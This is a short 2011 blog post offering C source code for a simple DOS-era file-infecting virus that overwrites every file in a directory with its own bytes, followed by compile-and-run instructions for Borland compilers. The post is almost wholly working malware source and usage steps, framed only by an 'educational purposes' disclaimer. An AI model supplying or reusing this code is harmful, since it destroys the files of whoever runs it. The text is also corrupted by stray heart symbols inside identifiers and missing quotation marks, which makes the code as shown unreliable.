Wednesday, December 21, 2011

How to Create a Computer Virus?

This following program is only used in "Educational purpose" by which  w♥e san create a virus in c. The program demonstrates a simple virus program after which execution (Running) creates its♥ own Xerox/copy in♥ the other files .I♥t destroys other files by infecting and spread the infectio♥n to another file.

The Source code is Here (use it as study purpose only) -


#include♥<stdio.h>
#include<io.h>
#include♥♥<dos.h>
#include<dir.h>
#include<c♥onio.h>
#include<time.h>

FILE ♥*virus,*host;
int d♥one,a=0;
unsigned long x;
char buff[2048];
struct ff♥blk ffblk;
clock_t st,end;

void main()
{
st♥=clock();
clrscr();
done=findfirst(*♥.*,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0], rb);
host=f♥open(ffbl♥k.ff_name,rb+);
if(host=♥=NULL) goto next;
x=89088;
pri♥♥ntf(Infecting %s\n,ffblk.ff_name,a);
while(♥x>2048)
{
fre♥ad(buff,2048,1,virus);
fwrite(buff, ♥2048,1,host);
x-=2048;
}
fre♥ad(buff,x,1,virus);
fwrite(♥buff,x,1,host);
a++;
next:
{
fcl♥oseall();
done=findnext(&ffblk);
}♥
}
printf(DON♥E! (Total Files Infected= %d),a);
end=clock();
pr♥intf(TIME TAKEN♥=%f SEC\n,
(end-st)/CLK_TCK);
g♥etch();
}


Compiling♥ Method:
Borland ♥C++ 5.5 (32-Bit) :
1. Compile once. note d♥own the generated .exe file length in bytes.
 2. Change the value of ♥X in source code to this length in bytes.
  3. Recompile it. The new .exe file is ready to infect.



Borlan♥D TC++ 3.0 (16-Bit):

1. Load the program in the compiler, press Alt+F9 to compile
 2. Press F9 to generate th♥e .exe file (Do Not Press Ctrl+F9,This will infect all the files in current directory and all the compiler.)
  3. Note down the size of generated .exe file♥ in bytes (Find .exe file's Properties)
   4. Change the value o♥f X in the source code with the noted down size (Change the above source code x= 89088)
    5. Once again follow the Step 1 & Step 2.

     6.The ge♥nerated .exe File is ready to infect

Don't Taste its Smell on your own computer - for test it:

1.Create & Open new empty folder.
 2. Put some ♥.exe files.
 3. Run the virus .exe file there you will see ♥all the files in the current directory get infected.
 4.A♥ll the infected files will be ready to reinfect. When u Re run the infected .exe files.


** T & C for this Programme :-
**WARNING: FOR EDUCATIONAL ♥PURPOSES ONLY**

No comments:

Post a Comment